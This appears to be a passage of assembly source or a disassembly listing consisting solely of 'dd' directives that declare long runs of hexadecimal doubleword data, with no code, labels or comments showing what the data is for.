dd 993014C0h, 45740002h, 3E93ADC5h, 0A801B9D1h, 90FFDFABh
dd 0D5F89CD8h, 779F003Fh, 0A3CBB06Bh, 0EE057F46h, 0A7317DECh
dd 8A876887h, 0B074DF83h, 240E45h, 5C9DB11Dh, 0C4950241h
dd 838CBC05h, 0C03511h, 12D05660h, 1F6D91Bh, 0BBDA6255h
dd 0A0E9D807h, 667BE60Eh, 516E80F1h, 0D8BD68h, 972BF8B3h
dd 48B50AFFh, 4600AD90h, 6B1D256Ch, 43EFF2h, 4E268823h
dd 602129FCh, 0CDC3E21Eh, 521AF8C0h, 0FDFAB65Bh, 0C650DCh
dd 0E5ED0930h, 9C6FE205h, 0B85B150Fh, 10AD87FDh, 2C6DCBE0h
dd 607F00A7h, 74074ABBh, 6101B148h, 0A5F38F64h, 0C520D5C3h
dd 0EADA3A4Bh, 0B7001ED8h, 0C69804EDh, 6D580FA7h, 47007FDDh
dd 7DD5E0EAh, 3C87C1ABh, 951DFBDBh, 91DC0CEh, 57FE5EF3h
dd 44B8A300h, 73CADC23h, 0A9B000BDh, 3AAD5CA8h, 5B00A7FFh
dd 76070127h, 5C84FBD9h, 713335h, 0F856C7ABh, 408FD137h
dd 872F2C3Ch, 0AAF0759Dh, 87CCA6C0h, 587803F3h, 0E0ED5506h
dd 0D296A7C0h, 24C38E00h, 7FC1E9EEh, 3AAF00B6h, 0C79B7343h
dd 51008AA2h, 7D2A6EE7h, 487F37h, 6C866926h, 0C257A395h
dd 53D5B48h, 2563F2EAh, 4C9C66C0h, 0E531000Eh, 92D41C87h
dd 7900D366h, 0E04D6CE4h, 3A283811h, 4A875C3Fh, 1488BAE3h
dd 210FC79Bh, 0C8F286CDh, 7900EF02h, 3F692BDh, 26B72C71h
dd 0BE6ACAh, 0B648525Eh, 0BA00737Ah, 0B008D1DDh, 277533h
dd 85DAEA2Fh, 40727D5Ch, 41FC100h, 0F10C2B9Eh, 801800CAh
dd 8CFE3E61h, 0EB39F49Bh, 30980CEh, 82ED5F6Dh, 34D70304h
dd 0F2EFD408h, 71C0ABBBh, 5900B438h, 7E82512Ch, 1D913B21h
dd 9350C3h, 3FA1C867h, 0AF009D2Ah, 37BC1841h, 140194Bh
dd 7BF72880h, 0FC05C6B5h, 1E0F3F21h, 808390E7h, 787C36F6h
dd 0B78F003Eh, 0AEA48C72h, 0C11E9414h, 0C500F7A2h, 8B701991h
dd 9B48000Bh, 2FFFD18h, 0E200103Fh, 4AEC47DFh, 1CD7E1Ch
dd 0A38115B2h, 0ECB4555Fh, 0E10F29CAh, 60E27054h, 0C9F914C7h
dd 167E078Bh, 30D26AD4h, 5EBCB99Bh, 3C638900h, 0E2D302CAh
dd 98870064h, 298A054Eh, 0B9002734h, 13D7C007h, 76771C2h
dd 8BE2B4F7h, 9EAE1040h, 0BDF89D7Eh, 47D3AC00h, 660E9894h
dd 39D7008Ah, 1A43C653h, 0B60073E4h, 8F1E5C92h, 15F0FAh
dd 9C997D70h, 0DFFB25CCh, 12177E00h, 5B33D144h, 0D360002h
dd 0C240A35Ah, 8C3BB23Ah, 9DB0FC4Eh, 0A2215100h, 0EBCD219h
dd 0C977006Bh, 0C6D0D62h, 0C6004309h, 375288E5h, 3CBF2D48h
dd 78804244h, 0F35BCDA5h, 0F026F1BEh, 1A01F1C4h, 3877AF8Bh
dd 2608C61h, 42DF0095h, 5315048Dh, 0F100F5C5h, 13A127A0h
dd 0BC4C19h, 9F5B9AFAh, 243D3FC4h, 0FF560D00h, 2883629Dh
dd 0F18F0E78h, 4800C729h, 39DE5034h, 0B41B1E09h, 44DC0092h
dd 0ABE9D0h, 0C3D5875Ah, 2ADB492Ch, 7274607Dh, 9A369500h
dd 66D49776h, 0A1AF0F92h, 0E1808C0Ch, 79C5488Fh, 0FC1F82E6h
dd 4901935Bh, 0BB6DF735h, 0F6F5F9F8h, 0DAE60070h, 0B6EBE7D7h
dd 3100EC41h, 8895CDD2h, 1C89A838h, 0C3CF6355h, 5F68E0A0h
dd 19A61DB8h, 17B45700h, 0E50BA1Bh, 0FC433CFDh, 64F70384h
dd 0A06BC102h, 3493D0A6h, 0C582F500h, 66969A04h, 75ED0185h
dd 0E33329C9h, 7898FB88h, 5A008D59h, 0EE26BBEBh, 0CF9550h
dd 35B90F19h, 319A2E92h, 0CC560300h, 32A74F57h, 9D40015h
dd 0E745347Bh, 0C0002D1Dh, 43F8D7E0h, 503B24A5h, 1FC4BCCCh
dd 0A8628356h, 640D1CC5h, 35D300BFh, 99D5791h, 0C5632200h
dd 0DF205241h, 0D2B80097h, 17D9354h, 271E4B18h, 8580DE75h
dd 0BBAF7F0Eh, 0FFB100F6h, 6DD19A95h, 0B0090D5h, 7237A167h
dd 9CE8F18h, 0D4D8FB77h, 0A5464080h, 0D9009909h, 3FFF6F92h
dd 2D76C7FEh, 0DA61A26Ah, 37073010h, 20E13Dh, 851E8848h
dd 0B1CB3AFh, 0A5866159h, 0B2EB80FDh, 0F681B0h, 95AD3301h
dd 0EEA77E7Fh, 66581D00h, 0E450BE8Fh, 86921D2Dh, 59DEA0h
dd 0AF4FFBAEh, 2902A876h, 3B037C18h, 0EA62E09Dh, 72E32EC3h
dd 0E27700BFh, 4CBDD2D3h, 7C1DB67Bh, 0D8401F96h, 66C87128h
dd 797E0040h, 2E23E0F2h, 0EA006FB0h, 22CA2CDCh, 38F45Ah
dd 3B0EA020h, 88335023h, 0A616730Fh, 0D7C2BD4Dh, 0C08FC901h
dd 837FEAh, 0EF888B7Dh, 69E1ED3Fh, 0D300DDECh, 1BA351FDh
dd 0F5136Eh, 7EE2C56Fh, 101FE5F1h, 0D7534E00h, 0D6ED4FF7h
dd 0CE073CFBh, 0D1A47D00h, 6EF8C5A5h, 0A084EB24h, 3B272603h
dd 0D094C851h, 0F3FE01C9h, 0EA33BD16h, 31B0F4AAh, 0BBC1CC00h
dd 0FCD24FABh, 6B5C0045h, 0A1D1FBB2h, 3500D4E1h, 4A1F3EE9h
dd 7D4E76F2h, 7A840062h
dd 2233068Dh, 13009D92h, 0DD651114h, 0FCFF1501h, 0D26700BDh
dd 0DFF1D4CEh, 38009095h, 49F49181h, 4F5B14h, 1D209463h
dd 3DEA5F02h, 0C26A5D00h, 0A4AAABC7h, 0EFDD171Eh, 57B900F8h
dd 58121903h, 0FDE3FE00h, 8BEC45A1h, 47B207E1h, 0B077970Eh
dd 0F4D702ADh, 5100F7E6h, 23A33E25h, 0DD2C0Ch, 8C15AF17h
dd 0CB2B75BEh, 7F4C9A1Fh, 0EE3D1880h, 4BAB34h, 0CE99B546h
dd 0B7FFDB83h, 0DEF66E0Fh, 0A345003Ch, 202716Ch, 82E9E3C4h
dd 0ED4176EAh, 0D14CC1F3h, 40D3DC37h, 48B07B05h, 5480F443h
dd 35D56Ch, 69183BC4h, 0B05FF84Fh, 0C0364500h, 6D4CBABFh
dd 8DBB0ECFh, 9F00FFF9h, 62CBD05Dh, 7793C800h, 0A8EA9611h
dd 43BC0009h, 643EC68Ah, 0C0971FD6h, 2DE9C5Eh, 0DDCC8FB1h
dd 0EDE053E3h, 64004843h, 47894170h, 1F17DB99h, 1EB54D08h
dd 10DF8075h, 2F28F8BBh, 78F5F107h, 37E016CDh, 0C229B7h
dd 6CFFADE8h, 54175B79h, 0C8B02203h, 804AC925h, 21ABBEh
dd 0F469D507h, 1F913AE1h, 8262BC3Dh, 41D8D9A9h, 458480F6h
dd 0DDE90Eh, 0D44ADAB6h, 0C2F4D681h, 0D506BD00h, 0F38910DEh
dd 2DEF0FFEh, 0B9E07AF8h, 0BC3C8BC6h, 0A5D2BD00h, 45E4F676h
dd 7237015h, 33DB1BB3h, 0C9401048h, 91009AC8h, 0CE781670h
dd 5C7A20CBh, 672E7C9Dh, 5A570017h, 0B873DA7Dh, 6D4AE300h
dd 0FCCF9D53h, 0A9DB0044h, 0C8946F65h, 6605C13Eh, 0E3C7B3DAh
dd 0F06B87AAh, 0AB883661h, 84923900h, 234BBA7h, 68F0F12h
dd 58607E66h, 0F78003C4h, 9F64AC00h, 0BA71F617h, 9C2C0035h
dd 0BE848E91h, 0AF01CCA7h, 7A283931h, 0DFD4C344h, 3B4300C1h
dd 8675585Bh, 1F0029EBh, 73310A5Ah, 0D3B0FAh, 37F656D6h
dd 5BE0B505h, 5ACB2C00h, 490B0CFCh, 0C147004Fh, 1E5E3D61h
dd 0CE3FFE64h, 0E7C603CDh, 0E00301C0h, 4F0B34h, 0D395247Bh
dd 2E63CE09h, 0CC504500h, 4E0CA459h, 53C100F1h, 1F4ABA6Bh
dd 1E0FB242h, 6731DBA8h, 72603D6Eh, 29C888h, 0E1265112h
dd 6C17CA0Ah, 6280BF00h, 211B5A1Dh, 0FC3900D9h, 78CD77C9h
dd 331EB37Ch, 80B94126h, 11F4A6E9h, 30533Eh, 5C8791C0h
dd 549E40FFh, 3A6D3700h, 0A699E86Fh, 2838003Bh, 7D9D2797h
dd 9B0094A0h, 0A96FE795h, 2EC098CBh, 9760EFh, 3113917Ch
dd 30001586h, 0DF364887h, 158EBBAh, 0B2F7941h, 0D5E4072Bh
dd 0FB76D873h, 3AEF9200h, 0C4A634D9h, 99AE02Ah, 879FE7E4h
dd 0A0444307h, 9D3C1273h, 4416300h, 8B938EBh, 3EE2003Fh
dd 6895403Dh, 3A03D9B1h, 0B80DBAE6h, 0E875B3F0h, 0EE5010h
dd 2CC2BD3Eh, 6E08A09Fh, 8DD27B00h, 58ABE327h, 53E60054h
dd 6B133F5Ch, 0A9000BE2h, 36636897h, 79E51B35h, 6C3C00F1h
dd 2C6A6018h, 89001552h, 0CF19571Ah, 74D2E8h, 81DD4A7Fh
dd 0AB5CAA49h, 7051E438h, 0B87D2F01h, 4C83179Ah, 4C9F76DCh
dd 980315BFh, 11181454h, 3247E9F0h, 0EE40AC0Fh, 6F5A206Eh
dd 3EB4B89h, 678BA452h, 87D0987Ch, 4700B93Fh, 3731CD09h
dd 0B6F6E2h, 0A0F5C01Fh, 498BCC52h, 9C656D3Ch, 0CB012F76h
dd 309DF9A2h, 88C05DD5h, 0F2E1000Fh, 0BF8945C4h, 7300D84Ch
dd 0EDA6C034h, 29689Fh, 0B2BAF73Ah, 0E0129A22h, 80EB4700h
dd 37861165h, 2C9D01E8h, 0F8059504h, 0F73A3061h, 18388BF8h
dd 480C8E6Bh, 1253C05Ch, 7BD310h, 1FE88C7Fh, 0C271DF5Fh
dd 19EDD500h, 91519C02h, 10C12E56h, 0CB7900B2h, 74C57E0Dh
dd 7A7D6903h, 0A006F4F5h, 0E250E6BBh, 0A7E10001h, 74652253h
dd 6439D79Ch, 0E93880F0h, 9F3755F5h, 0B068012Ch, 0AD3BFA8Bh
dd 0D587C826h, 82718F01h, 1B1A394Eh, 0BDC2FC5h, 0AD0307FEh
dd 30CAB5E6h, 0C7EE0CEFh, 0C1E47E1Dh, 0AE409A5Dh, 32125E62h
dd 0EC27480h, 0E13672CAh, 203EA8E0h, 0D1004301h, 4AA73B11h
dd 595188h, 0A61CA26Ch, 7EDC7613h, 0D501577Fh, 0C6BD85C2h
dd 0C9EC1F0Ch, 7A3C0006h, 1A8165AEh, 9C004D37h, 66A39336h
dd 1E21C409h, 0A87079h, 75F59DA6h, 4F00B77Ch, 0FE7A6986h
dd 0CE6B2Ch, 0BBC86318h, 79D88B88h, 0C3A1BC00h, 64739446h
dd 3201121Dh, 0AFF82Fh, 6A0D6F4Ah, 34F9597h, 79F0A134h
dd 5E803A24h, 0C900E30Ch, 69F6C596h, 1830FAh, 4EB63D51h
dd 0F421C3BCh, 0B02DDF00h, 337609EDh, 1630005Ch, 0CB1A6956h
dd 0EF007E88h, 2DDCE3BDh, 3500E93h, 0F81B1832h, 0EDE080B4h
dd 3500F44Bh, 34380457h, 32DC56Dh, 97D80A08h, 65F8AAE8h
dd 74009F6Ah, 0AEFD59DFh, 991E6C7h, 8D01C25Dh, 0DBFD480h
dd 69007681h, 556A80B1h, 0C1B95h, 2EB77DFBh, 6B6677D5h
dd 0EEA96E00h, 51168C2Dh, 0B6F90043h, 4457FD75h, 0FF0037BBh
dd 0B1A8618h, 786CE9C3h, 0D14B48CCh, 0B83B1300h, 0D368A227h
dd 30A45F00h, 18E991E8h, 0C70B01E7h, 0B9C5158Bh, 4F6F20D1h
dd 5EACCA17h, 0A800D21Dh, 36E26DBFh, 0DEC4004Ah, 0B4055593h
dd 0BB002E7Eh, 29202F58h, 0EA59A8CEh, 0C6AF0057h, 0E0560E63h
dd 0A1179FC1h, 70029CBh, 4AF5476Dh, 1CECFD77h, 62A80EC6h
dd 7E622C19h, 63D4B8BAh, 0A9CCE801h, 85DC0D34h, 0FC540070h
dd 10E59EE9h, 0A3F8FA24h, 0CECCF912h, 5E585200h, 317E2AAh
dd 307D6020h, 0A6A8BEC9h, 1200E6B7h, 8F7CF573h, 7B0F5664h
dd 17EF0036h, 493F1DE5h, 1401E382h, 0DD1AA59h, 0B87055E6h
dd 731F0F0h, 532DBD94h, 7863A117h, 8D33301Fh, 0D9EF411Ch
dd 0DE0DC2C0h, 0E33FFDh, 1B7413CCh, 8FAA99C5h, 6985371Dh
dd 0C4147F07h, 61FB1C70h, 0E0781D88h, 3F828060h, 81EE7075h
dd 0AA1CD775h, 0B1CFF895h, 63B48002h, 0E00423h, 71AB2F0Ch
dd 88F583E3h, 40AEF42Ch, 13898E01h, 9FDCC25h, 1D0DE0E0h
dd 30D60EE8h, 71A0D0C4h, 54EFF900h, 0C8BCFCC9h, 98AD0001h
dd 691185CBh, 0C31DD6CCh, 8780D1BFh, 0F518EAAEh, 8D3500EEh
dd 759FC201h, 0BC3AB8F9h, 82CA00DDh, 52F12A31h, 0AF5F0722h
dd 1081BBFFh, 0F19FD98h, 685DFC00h, 0ECE539D1h, 8DF50158h
dd 5649C1D9h, 2F98FF07h, 0D5004FEFh, 73FED02Ah, 18758B2h
dd 0E8E028F3h, 80939811h, 0D43EBE08h, 0C8CEEDh, 56B83ABAh
dd 7EE1AC57h, 978F0900h, 3C9C84A9h, 0D2D10061h, 76798E9Fh
dd 0CA00644Bh, 75245040h, 0EE923FE1h, 9823EAA8h, 6EF507F9h
dd 13E9BD73h, 0D1DFA060h, 0FCEEB020h, 6400141Eh, 0ECA47A39h
dd 0D8D22Bh, 620EA165h, 0DAE95E1h, 829C4124h, 0AD825900h
dd 71AC37h, 0E6B66EBEh, 0D18B7999h, 0F94C6700h, 31ABE934h
dd 0BD26009Ch, 0CE61BC19h, 0A20F182Ch, 0C0D80324h, 80F9099Fh
dd 2840002Eh, 39890D6Ch, 0CF075966h, 0F1C50754h, 3E092430h
dd 0F0BA2427h, 356C0069h, 0EBAFBE51h, 0F4C558h, 0A409FA64h
dd 3FC38B62h, 2000928Eh, 0EEDA75EDh, 0BC00C6FFh, 915CE018h
dd 368744Ch, 34F8A8D8h, 5390327Ch, 0B6007AAFh, 0F973A605h
dd 0E3665CBh, 44FFC72Fh, 3C22B080h, 9C01E96Bh, 76B36E2Ah
dd 0C4D0D40Eh, 5CA90042h, 1C2BC9B7h, 1603AA82h, 32AEFA28h
dd 0EFB480F6h, 81CE0315h, 0D1CD2E9Fh, 3C1334D8h, 397BD2FEh
dd 2907E1E0h, 41BD07B5h, 83C09420h, 4CE8B3h, 0DFF9922h
dd 2D28BFE2h, 0D962EE1Ch, 2B368045h, 798CC780h, 0A5FCD0h
dd 0C06BC359h, 315D587Bh, 9AB65300h, 102BEEA6h, 85DD00AAh
dd 8CE222E9h, 7CEE46A8h, 6D009DF4h, 21670BDh, 27F1F0h
dd 720B29A0h, 0F8201519h
dd 0EAA57100h, 0ED6E4AB4h, 963948BCh, 0FFCD1B00h, 4D7FDB10h
dd 8C306200h, 0ECACD675h, 678751Ch, 0E13FE68Eh, 42009838h
dd 0F04BA7C9h, 94B89Ah, 1DA57BB9h, 0D9EA4F1Ah, 0A2887007h
dd 0C0BFB33Bh, 51623FBEh, 30EB0034h, 0AB78368Fh, 1A0088A4h
dd 0C559EDE2h, 505367h, 0B2BB4E9Ch, 0B3AD18A2h, 0C76AF4F9h
dd 0F520BA00h, 5D8F3FB4h, 763C0037h, 2E56A8BBh, 7F005F9Eh
dd 3929DB23h, 5D7571h, 5B6E59B7h, 8FE5CCC1h, 0CAFE4100h
dd 742BA197h, 1EDAB8D6h, 0BAE864A7h, 37EDCA6h, 2CB5FC3Bh
dd 0ED31B780h, 42710C1Fh, 0D01F4BC3h, 6FBFD0A7h, 50C2009Bh
dd 88D4C4E5h, 0E100DCFAh, 0A5A4196h, 0FC90764Bh, 262100BEh
dd 0C7CD106Dh, 934C3E5Dh, 3F17189Ah, 8099E0h, 0DE403B32h
dd 3879C306h, 0DDB0A500h, 94E82A20h, 0C4840070h, 0CFFFD96Bh
dd 0F301CD6Fh, 0C78025A4h, 4C88624h, 395300FCh, 4C0E881Ch
dd 725C50EFh, 3300061h, 76A468DDh, 71BE0026h, 845D09DAh
dd 3807D239h, 45E9179Ah, 0A05D0FFBh, 0A40883C8h, 0B99806h
dd 2060FDEFh, 0D54C253Ah, 514E9900h, 8C6C7EB6h, 0F9F0007h
dd 0B28D20EBh, 1EE8C1C9h, 6FB18000h, 83FED3F5h, 0B5890054h
dd 25DED54Dh, 0F33DAA7Bh, 72230773h, 0F41C958h, 0CBC0CA90h
dd 764E074Ah, 0A09A5157h, 606208BEh, 7C8CB700h, 0F6D4826Bh
dd 0EF9E0176h, 197B21F9h, 0DC95F835h, 0BA250800h, 643D23AAh
dd 0B36D0078h, 411A9F5Ah, 2B00E570h, 66A68657h, 0E1ED89h
dd 0C48CA192h, 0E616EA6Fh, 23DEBD24h, 8087590Bh, 8D986DD8h
dd 6014006Eh, 5EE89016h, 30376A8h, 81368A91h, 1BCBC0B6h
dd 2E3D00B8h, 31F5B2FAh, 16005074h, 0F980E9DBh, 1C6EADFBh
dd 0C8B13h, 6927D509h, 54C086BEh, 5D8D47DEh, 76490BD2h
dd 8900E5C1h, 0E9A34628h, 333EC301h, 0E1BFFFBCh, 931DC06Eh
dd 0F11DD08Ch, 234FDEC1h, 0E58D804Ch, 3EB7C30Ah, 0D03A9875h
dd 4F42E600h, 0D36C2D61h, 0CBD1C900h, 0DA1B0C8Fh, 0A6FE030Bh
dd 2A09E740h, 8598F7E0h, 4BE9490Fh, 77F8200Dh, 71800Ch
dd 0C0F241A2h, 0CF495B6Ch, 0E204F100h, 23FF1239h, 1CB7007Ah
dd 0CD4C21A6h, 1001B06Eh, 9BD34FC7h, 5560B5EEh, 366A3F25h
dd 192410Eh, 58519983h, 35B0C6D8h, 0ABB83Fh, 0B7564E8Ch
dd 78530E7h, 95A290Dh, 0D5E92069h, 600F7289h, 8012E255h
dd 4D06D036h, 0D99A00D6h, 0FD731C3Ch, 10041F1h, 0C37DFB0h
dd 0A53B65h, 0CBAA9D99h, 81C46DF0h, 69120200h, 2A8826BBh
dd 0F992002Fh, 8ACF3D0Ch, 2E0768D8h, 61AF2CABh, 5E1B010h
dd 92870098h, 0CB760E35h, 2001036h, 42FF9AF2h, 13729FBh
dd 0E27A6003h, 0ECC18921h, 0AE73E7F9h, 0AF035775h, 11166805h
dd 0CE3C88A2h, 43320001h, 4598F58Ah, 79016269h, 11C953BDh
dd 1830FF61h, 0E6869802h, 0C7DF00C8h, 0E380D562h, 3D2E568Ch
dd 9B14EF6Bh, 6EAE04A2h, 5781A84Dh, 86209F42h, 17FE47h
dd 0D83C2F65h, 460D8DDAh, 0FB438800h, 12E61958h, 0B1F5003Fh
dd 3DC87F25h, 6C003818h, 0B0CEC2A7h, 0F670224Eh, 330C0067h
dd 68D24AF6h, 3F0078CDh, 28E8CC15h, 1B19C9Dh, 12D34DDDh
dd 0CBB657BCh, 0D0AA13F0h, 0F6004570h, 0DCEBCBEDh, 6A6FC9h
dd 9A61A9AFh, 66E565FCh, 0FB291600h, 7310503Eh, 0A1F603ECh
dd 57A80F28h, 581EB9B0h, 69002078h, 4678B87Eh, 0EE7B77h
dd 9CE4878Ch, 0C1B1B738h, 0BD01EBF4h, 0C60A29CCh, 0AA47CBDEh
dd 64A5D750h, 2EE50006h, 0DFFAC936h, 4C009007h, 0B14719C5h
dd 1C7DE3F4h, 80BF2F1Bh, 0A7A841ABh, 7E124C34h, 4B00A68Bh
dd 0A11C1F60h, 8D8E006Fh, 7046C104h, 0E004031h, 0F7ECFD4Dh
dd 3AA7EEh, 3369984Ch, 92507538h, 0DCF78098h, 0C21E39B1h
dd 0F840FDBCh, 2B12EE6Ch, 0BE00761h, 0B022B453h, 334E1E68h
dd 0AC4CCF00h, 82E93E64h, 3C861FD2h, 0F540C00Fh, 294D5A63h
dd 0BF4BF200h, 16046D33h, 2D1E0571h, 0C045D28Ah, 959919B4h
dd 0E080176Eh, 0F458B057h, 0AF8006Ah, 435B6290h, 0B9EEF50Ch
dd 56277C00h, 0B53CF1AEh, 0EE8800DEh, 5E049D4Bh, 0F000CCFFh
dd 57B71F77h, 0B811E3h, 86F32307h, 25D1F26Ah, 9B769800h
dd 82407F83h, 0F7EB009Fh, 0BD3E91AAh, 0B1FEB086h, 1F371800h
dd 0A8D1F5BAh, 0D38400A5h, 39590F40h, 0EA00FC29h, 0DBA98F1Ch
dd 0B3665Fh, 2740B4A8h, 5734C1Fh, 0F500C5E4h, 0E9E5732h
dd 0DAA1CDh, 85BDD9CAh, 0E446BCC8h, 3707EBEEh, 0BEC341Dh
dd 7AC77B10h, 0CFFCF4h, 69BF51CBh, 5308877Dh, 7BA20D00h
dd 677CA8B2h, 271903D6h, 147E961Bh, 0C0892DB9h, 0EF07BC6Bh
dd 0B94B5B29h, 2BB74040h, 759E00FDh, 0E5059577h, 8E7926D4h
dd 334CDA00h, 0D62AF7CEh, 43FCFBh, 50A331F9h, 2FA44DBAh
dd 14644800h, 26E947C5h, 65B41F01h, 7A6B4078h, 0A5210F27h
dd 0C4487D0Eh, 4004C033h, 50308688h, 0C2A2F4h, 32A17853h
dd 0BE158CD9h, 7400B97Dh, 761BBF11h, 1295B150h, 4F31CDh
dd 4E4C0946h, 0E70066D1h, 4DFEBED8h, 0A00E78h, 1CF952B5h
dd 95CFCEDFh, 0EAFDE100h, 35069F6Ah, 67F800B6h, 4838F790h
dd 0B700810Fh, 7BD93B52h, 3A626055h, 0C780A50Dh, 113547C3h
dd 3C008E8Ch, 3156EE38h, 48B6D1h, 1BA77068h, 0F7E27C6Ch
dd 39836300h, 52DEA094h, 0ED9200BFh, 7385DC7Fh, 68009CC6h
dd 50C8069Bh, 285C1ACDh, 0FE8F4Eh, 0B73311B9h, 4FF66E99h
dd 3BA08900h, 8E2FA532h, 0E98017E3h, 3DEC00E0h, 407430E1h
dd 0D6C8F00h, 3A2FABFAh, 84AF00F7h, 43995ACAh, 0C100780Ah
dd 3DCC8144h, 1EBE7A17h, 9C07B29Dh, 0A800386Ah, 0A0A6EF1Ah
dd 79002B98h, 4F77884h, 7BED30D1h, 0FAE7EED7h, 5C020152h
dd 3D6215AEh, 1A8BE4C8h, 0C3E6EFCh, 24B60097h, 0BC23A0FEh
dd 26F0338h, 0B55695AFh, 0FE013C0h, 73641200h, 0D4D71488h
dd 0BDDF019Bh, 2332ED7Ah, 829CC8DDh, 9FEE3C26h, 0BFC16402h
dd 23005F1Eh, 0ECC9347Dh, 0B9AC8A00h, 97F36AD5h, 0E9DF3FF4h
dd 0B1933500h, 7D7E244h, 9DA0B71Dh, 0BA1D0F80h, 75889A2Dh
dd 70490081h, 0EE863119h, 1009645h, 62CDCF20h, 37AE08Ah
dd 2E8960FBh, 0A8D08537h, 3800BB3Ah, 0A250F0EBh, 4F68DDh
dd 5405CDDAh, 2EEC29C9h, 0C4A1EF00h, 90751393h, 0D7FD0060h
dd 0A7A032BDh, 4103E97Dh, 1BB2D9Ah, 47A5F02Ah, 9C961CACh
dd 0C169C0D6h, 3B8A1C68h, 0F240011Dh, 0E0E4674Eh, 0E1B580B8h
dd 3FED372Bh, 0F61F4040h, 0F5005018h, 0C7EF9209h, 77E85BF9h
dd 880D4C3Eh, 0E3B18607h, 0C08825BDh, 6BBA6847h, 8D00D576h
dd 0EC5558B8h, 58149BBFh, 9A0045DEh, 7606AC05h, 9500C0B9h
dd 34A90823h, 0FC4AB739h, 8D96015Ah, 0CF67774Dh, 128920F8h
dd 9C6E4600h, 0DFCB4241h, 96142FE5h, 55001FDCh, 0C4CFEC11h
dd 546B00DEh, 0B8DF024Ch, 0D005FEBh, 90E9C98Fh, 579C74h
dd 2FE65BAFh, 81BE30B3h, 54B1F400h, 0A239D24Bh, 8C4C5067h
dd 0DF3100C4h, 72250B50h, 0CB05B48Fh, 0A62E03A9h, 0C80485C0h
dd 305E465h, 66B30EE8h, 0B7E828EDh, 2B00CD4Fh, 0BB451417h
dd 3F4D20E6h, 0FCBCFB3Bh, 9D595480h, 460A9FCBh, 347548h
dd 85E81C76h, 128CACDh, 7FF8F201h, 0FE172909h, 4826F740h
dd 0F9D5F12h, 24DA1F00h, 44B255h, 0FCB662A7h, 0B07D1B2Ch
dd 0AC004BE8h, 0A2A9CFBCh, 0A04136h, 37D29FE1h, 29468CDAh
dd 2B56B40Eh, 0EF958F82h
dd 6D4CE0EBh, 0F6D03874h, 53ED0503h, 171E9Ah, 0DA5FF9C4h
dd 0C6009294h, 0EC7673B9h, 0F6E61Dh, 62830BFDh, 0C9804148h
dd 3491C5Ch, 0ABEB233Ah, 2FAE887h, 9A782EDEh, 0C9FC00A1h
dd 660CE554h, 0FE8A9F00h, 62CFB0A1h, 0C7790Bh, 0ABCD3E9Ch
dd 0BFB36120h, 4DEB3F00h, 0BAAD4ADEh, 6897004Fh, 44DD039Dh
dd 1A780875h, 0FDA7D000h, 2FDFF5A4h, 63AE1D26h, 0EAFF80D7h
dd 59A3380Ah, 904E39h, 0FAD9018Dh, 1E6B6440h, 40292716h
dd 0CCFEE328h, 0CB005CA3h, 0CA6A3CC3h, 1C2A78ADh, 0CE8E5064h
dd 0EA009820h, 33A2877Bh, 58ACB600h, 0AFBB7A5h, 67D70047h
dd 87280C3h, 2E03481Eh, 612C7749h, 20ACA060h, 93AD0E90h
dd 70005D7h, 0A5DCF47h, 7F49D800h, 0D9412C2Bh, 929F0EAFh
dd 5FEED67Ch, 6AB0B9E0h, 99006E63h, 758BD808h, 3A37F4h
dd 645694A5h, 39A1EC3Bh, 130047EAh, 0EA20188Eh, 0E930C04h
dd 342EDC94h, 0CC66DE20h, 161CE849h, 89C08E1Ch, 0EC8A90CBh
dd 0B0447701h, 6AF025h, 0C8B56D3Ch, 50380C49h, 66AA6500h
dd 0E0B1F707h, 2DD20010h, 0C905F62Eh, 0F300CA9Eh, 29FFB77Ah
dd 1B5CBDh, 0BFD494CFh, 842FAF8Ah, 23398C00h, 9B566DDEh
dd 457900C2h, 245F838Bh, 71002736h, 0B51CE713h, 1DC6F65Eh
dd 0D0A273h, 0AB320D9Fh, 0BC0F4A94h, 2770DC31h, 0D0707711h
dd 7A8F73h, 0BE6323C4h, 82C0E978h, 53F28B77h, 47905C00h
dd 0C4560A65h, 1EE00209h, 4C48CE2Fh, 0EB4DE07Dh, 996300D8h
dd 24732B4Dh, 7A0730B9h, 1F9ADA0Ch, 9FB13200h, 0B2450026h
dd 6D4CA02h, 4A00626Eh, 0C391A989h, 81A2E6h, 3DB7328h
dd 0F3B47154h, 0FDF75A00h, 68729036h, 3AC70083h, 0A51A7730h
dd 0B042AE5h, 1CC5D17h, 0E8FE61C3h, 0D0702h, 0BE7BECF1h
dd 0BC347D3h, 75A92000h, 50654424h, 332800A8h, 37C2ED09h
dd 0EA0302DDh, 584FA774h, 0BE46E815h, 472B003Ch, 8582C5EEh
dd 94008C09h, 0DDCC123Bh, 0FE9DAF5Bh, 50F2A03Dh, 0F15100ACh
dd 233B631Fh, 0EE007936h, 6C7F7B1Dh, 7830DA9h, 19A8FCA1h
dd 0B7930063h, 1800387Ah, 0DE0F4221h, 873EB1h, 40EE7080h
dd 0AEA28FF5h, 0C6CB5F00h, 4CE77E56h, 2D760012h, 9DA1698Bh
dd 6EB871EEh, 2A0A5A01h, 5130BBEAh, 3B1E90D8h, 5E8164D6h
dd 5F17DC1Bh, 0BA65F898h, 83C7D20Eh, 60FC63ACh, 0DDF188C8h
dd 0E4E30038h, 0D91136F8h, 2E01F3D6h, 81991DB0h, 0ECCC48Fh
dd 77F60019h, 519ECAA0h, 9F0104D0h, 0AC414CAAh, 0E3E41E0Bh
dd 1B3007Bh, 80238378h, 2239177Dh, 1F4200FFh, 0A41B05A0h
dd 1C8500B2h, 48A11D88h, 2E0014E2h, 796BC47Bh, 0B4DCB1h
dd 0CAF6AE8Ch, 1C32B0CFh, 0D4817800h, 8F7C6504h, 37B4005Fh
dd 0AC30F6F3h, 1800C938h, 0A3780794h, 3BCF22h, 5686354Eh
dd 0B4112BDFh, 6457BD00h, 1CF362C7h, 51E60029h, 166F903Eh
dd 0C3000A44h, 0E13B31C6h, 0F896CEh, 5129579Ah, 6CD07054h
dd 7CC6B71Ch, 41D5000h, 0A564F1h, 750E2F1Bh, 703D1529h
dd 250FDC7Ch, 4FEA9F26h, 0A8D6027h, 597562h, 0B6AE344h
dd 9C69D06Ch, 68409100h, 7635FE6h, 0C8C0013h, 9A76BA32h
dd 43074224h, 5E808D94h, 7E2030C0h, 536503F3h, 675C2644h
dd 9C1F4C8h, 25C01F00h, 7F19FC1Eh, 0FDB8006Bh, 93414FADh
dd 0EA00F3EFh, 865A7D9Bh, 0AF01B49h, 0FD8E6810h, 15701A6h
dd 309CE883h, 847767CAh, 153AAF00h, 8AE475A3h, 8653000Ah
dd 612D1CC1h, 0F309D047h, 825B9F44h, 0E023DF6Eh, 0CCBC98h
